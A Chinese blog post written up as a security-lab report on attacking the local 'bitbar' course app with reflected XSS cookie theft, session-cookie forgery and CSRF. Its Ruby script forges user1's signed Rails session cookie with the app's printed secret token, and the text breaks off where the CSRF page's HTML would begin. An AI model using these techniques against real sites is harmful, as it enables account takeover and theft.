+++ title = "针对bitbar网站的XSS攻击实验" date = 2022-05-24 categories = ["网络安全实验"] draft = false author = "Logic" +++ ## 实验原理 {#实验原理} ### XSS 注入漏洞 {#xss-注入漏洞} XSS 注入漏洞又称为" 跨站脚本攻击 (Cross Site Scripting)",为了不和层叠样式表 (Cascading Style Sheets,CSS) 混淆,所以将跨站脚本攻击缩写为 XSS。XSS 注入攻击的原理其实和 SQL 注 入攻击的原理很相似,攻击者将恶意的 Script 代码插入到网页中,当正常用户浏览该页面时,被 嵌入的恶意 Script 代码就会被执行,从而达到恶意攻击正常用户的目的。 ### 同源策略 {#同源策略} 同源策略在 web 应用的安全模型中是一个重要概念。在这个策略下,web 浏览器允许第一个页面 的脚本访问第二个页面里的数据,但是也只有在两个页面有相同的源时。源是由 URI,主机名,端 口号组合而成的。这个策略可以阻止一个页面上的恶意脚本通过页面的 DOM 对象获得访问另一 个页面上敏感信息的权限。 ### CSRF 漏洞 {#csrf-漏洞} CSRF (Cross-Site Request Forgery CSRF) 是指跨站点请求伪造漏洞,目前广泛使用的 CSRF 漏 洞防御技术是 token 识别技术。token 是网站给每一次 HTTP 连接分配的随机数,用来标识不同 的用户身份。对于网站开发人员,最方便实用的方法是将 token 存储在页面隐藏的表单中,最终跟 随信息共同提交到服务器端。服务器检查该参数,判断用户身份的真实性。因此成功实施 CSRF 攻击的关键因素是正确获取 token 值,攻击者需要将载入目标网页 iframe 中 token 自动添加到 src 属性后面。使用 HTTP “GET”方法的表单会自动完成上述步骤,实现攻击 WEB 应用程序。 Twitter 蠕虫攻击就是利用点击劫持漏洞来实现 CSRF 攻击。 ### 点击劫持 {#点击劫持} 点击劫持是一种视觉欺骗手段,在 web 端就是 iframe 嵌套一个透明不可见的页面,让用户在不知 情的情况下,点击攻击者想要欺骗用户点击的位置。点击劫持的表象一般是用户点击了页面的 A 元素,但是实际上接收点击事件的却是另外一个元素。大概有两种方式,一是攻击者使用一个透 明的 iframe,覆盖在一个网页上,然后诱使用户在该页面上进行操作,此时用户将在不知情的情 况下点击透明的 iframe 页面;二是攻击者使用一张图片覆盖在网页,遮挡网页原有位置的含义。 ## Attack 1 {#attack-1} ### 漏洞分析 {#漏洞分析} 这是一个非常经典的反射型XSS漏洞,我们在输入栏中输入user1,即在网址username=后面补充对应的用户名,可以发现存在user的情况下会给出user的profile,但若输入其他字符,则会显示一行信息表示user没有找到,如 {{< figure src="https://gcore.jsdelivr.net/gh/game-loader/picbase@master/uPic/0526tX9MWV.png" >}} 我们在浏览器中查看此时的网页源码,可以发现我们输入的数据被直接放入了User ... not found的中间,且在p标签内 {{< figure src="https://gcore.jsdelivr.net/gh/game-loader/picbase@master/uPic/0526HHxR4d.png" >}} 如此,若服务端未对输入数据进行过滤而只是简单拼接则可输入一个恶意脚本,继而窃取数据。 ### 攻击原理 {#攻击原理} 有了对漏洞的基本认识,我们首先进行尝试,以确定服务端是否存在过滤,输入 `` {{< figure src="https://gcore.jsdelivr.net/gh/game-loader/picbase@master/uPic/0526ajsV4z.png" >}} 可见插入的恶意代码的确被浏览器解析了,查看此时的网页源码 {{< figure src="https://gcore.jsdelivr.net/gh/game-loader/picbase@master/uPic/05260JBaMA.png" >}} 可见插入的恶意代码没有任何处理直接渲染到了html中,导致浏览器将我们的输入当做脚本执行。确定攻击方式可行后,构造恶意脚本将用户的cookie发送至目标地址。 ```js ``` 查看最近被偷取的cookie可见 {{< figure src="https://gcore.jsdelivr.net/gh/game-loader/picbase@master/uPic/0526EjpFaE.png" >}} ## Attack 2 {#attack-2} ### 漏洞分析 {#漏洞分析} 该网站在用户登录成功时会给用户返回一个表示会话的cookie,用户在访问其他页面时在请求头中放入这个cookie即可表示用户身份,如当用attacker登录后,访问其他页面时,请求头中cookie为 {{< figure src="https://gcore.jsdelivr.net/gh/game-loader/picbase@master/uPic/0526wE79Fd.png" >}} 这样只需要在访问页面发送请求时将cookie修改为user1的cookie即可伪装成user1。 cookie的生成过程可以在网络中查到,整体流程为 {{< figure src="https://gcore.jsdelivr.net/gh/game-loader/picbase@master/uPic/0529Ben1G1.png" >}} 1. Cookie Serializer 为了方便其它语言中解析,推荐使用 4.1 或更新的版本并使用 JSON 做为 Cookie 的 serial-izer。配置在 config/initializers/cookies_serializer.rb 中: ```ruby Rails.application.config.action_dispatch.cookies_serializer = :json ``` 1. Padding 下一步的加密要求数据的字节数必须是 16 的倍数,用的算法是 PKCS7。简单说就是如果差 n 个字节到下个 16 的倍数就补 n 个 n。如果刚好是 16 的倍数就补 16 个 16。 1. 加密 AES-CBC 这一步是最主要的加密了,算法是 AES-CBC。加密需要配置密钥并随机生成 IV (initializa- tion vector)。因为 Ruby 的 OpenSSL::Cipher 封装会自动 padding,所以可以跳过第 2 步。 1. 拼装加密内容和 IV 得到 encrypted_content 和 iv 后,分别 base64 后用 – 连接,然后再做一次 base64 得到 encrypted_data。 1. 签名 HMAC-SHA1 最后把 encrypted_data 和 sign 用 – 连接然后做一次 URL Query Escape 就可以了。因此解密的过程就是将上述步骤倒过来,分为以下几个步骤: 1. 分离签名:URL Query Unescape 然后以 – 分成 encryptedData 和 sign。 2. 验证签名:验证签名其实就是再签一次然后对比结果。为了安全,可以使用 hmac.Equal 来 比较签名是否一致。 3. 分离加密内容和 IV:Base64 解码一次,用 – 分离并分别 Base64 解码得到 encryptedContent 和 iv。 4. 解密:用 Key 和 iv 来解密 5. Un-padding:去除 padding 只需要看最后一个字节是多少就移除多少个字节。 6. Cookie Deserializer:如果是 JSON 用 go JSON 库解析就可以了。如果是 Ruby Marshal 也 不用完整实现,可以用正则提取需要的信息。 ### 攻击原理 {#攻击原理} 首先我们登录用户 attacker,查看 Bitbar 的 cookie 结构。根据实验原理部分的说明可知,"–" 之后的部分是签名,我们将前面单独分离出来进行解密。通 过查阅资料得知 bitbar 没有使用 aes 加密,因此我们只需要进行 Base64 解码 Unpadding 来对 cookie 进行解密。接下来我们尝试获得用户 attacker 的 cookie 值,脚本编写如下: ```ruby #!/usr/bin/env ruby require ’mechanize’ require ’net/http’ SESSION = ’_bitbar_session’ agent = Mechanize.new #实例化Mechanize对象 url = "http://localhost:3000/login" page = agent.get(url) #登录网站 form = page.forms.first form[’username’] = form[’password’] = ’attacker’ #使用attacker的>信息填写表单 agent.submit form # 提交表单 cookie = agent.cookie_jar.jar[’localhost’][’/’][SESSION].to_s.sub("#{SESSION}=", ’’) #返回cookie cookie_value, cookie_signature = cookie.split(’--’) #分离签名 raw_session = Base64.decode64(cookie_value) #BASE64解码 session = Marshal.load(raw_session) #反序列化 puts session #打印cookie ``` {{< figure src="https://gcore.jsdelivr.net/gh/game-loader/picbase@master/uPic/0529hPBSuf.png" >}} 根据程序运行返回结果可知,logged_in_id 为用户的序号,据此我们推测 user1 的序号为 1。因此我们将logged_in_id 修改为 1 后生成一个 session,再进行序列化和加密过程,生成 user1 的 cookie 的前半部分: ```ruby session[’logged_in_id’] = 1 cookie_value = Base64.encode64(Marshal.dump(session)).split.join #伪造前半部分 ``` cookie 的后半部分是使用 HMAC-SHA1 的签名,我们还需要伪造签名,可以在本地源代码得到 签名秘钥,在 /bitbar/config/initializers/secret_token.rb 中 {{< figure src="https://gcore.jsdelivr.net/gh/game-loader/picbase@master/uPic/0529PZNwNa.png" >}} 接下来生成签名 ```ruby SECRET = 0a5bfbbb62856b9781baa6160ecfd00b359d3ee3752384c2f47ceb45eada62f24ee1cbb6e7b0ae3095f70b0a302a2d2ba9aadf7bc686a49c8bac27464f9acb08 cookie_signature = OpenSSL::HMAC.hexdigest(OpenSSL::Digest::SHA1.new,SECRET, cookie_value) ``` 最后根据前面分析的 cookie 的结构,通过"–" 将签名和 cookie 连接 ```ruby cookie_full = "#{SESSION}=#{cookie_value}--#{cookie_signature}" #签名并合并 puts "document.cookie=’#{cookie_full}’;" #打印完整的cookie ``` 运行完整的程序,得到 user1 的 cookie 如下 {{< figure src="https://gcore.jsdelivr.net/gh/game-loader/picbase@master/uPic/0529eMXh6p.png" >}} 接下来,在浏览器的 web 控制台使用前面脚本程序生成的 cookie 进行登录在使用attacker身份登录系统后,利用js修改浏览器中缓存的cookie,更改为user1的cookie即可伪装成user1。使用attacker登录系统 {{< figure src="https://gcore.jsdelivr.net/gh/game-loader/picbase@master/uPic/0526Q6TpTN.png" >}} 设置cookie伪装成user1 {{< figure src="https://gcore.jsdelivr.net/gh/game-loader/picbase@master/uPic/0529QTHJTx.png" >}} 此时点击Home,访问Home页面,可见用户已变为user1 {{< figure src="https://gcore.jsdelivr.net/gh/game-loader/picbase@master/uPic/05261nSu5R.png" >}} ## Attack 3 {#attack-3} ### 漏洞分析 {#漏洞分析} 在用户已经登录网站的情况下,浏览器中保存有用户在该网站上的cookie,此时通过浏览器访问该网站的其他页面会默认为用户在与网站服务器交互。当然此处为了能在跨域情况下携带用户的cookie,需要设置withCredentials为true,这样就可以跨域发送转账请求。 ### 攻击原理 {#攻击原理} 制作的html只需要使用js完成分析过程中需要的操作,最终将网址重定向到百度即可,表单数据可以通过使用attacker进行一次转账并抓包获得,如下 {{< figure src="https://gcore.jsdelivr.net/gh/game-loader/picbase@master/uPic/0526SMHwXl.png" >}} ```html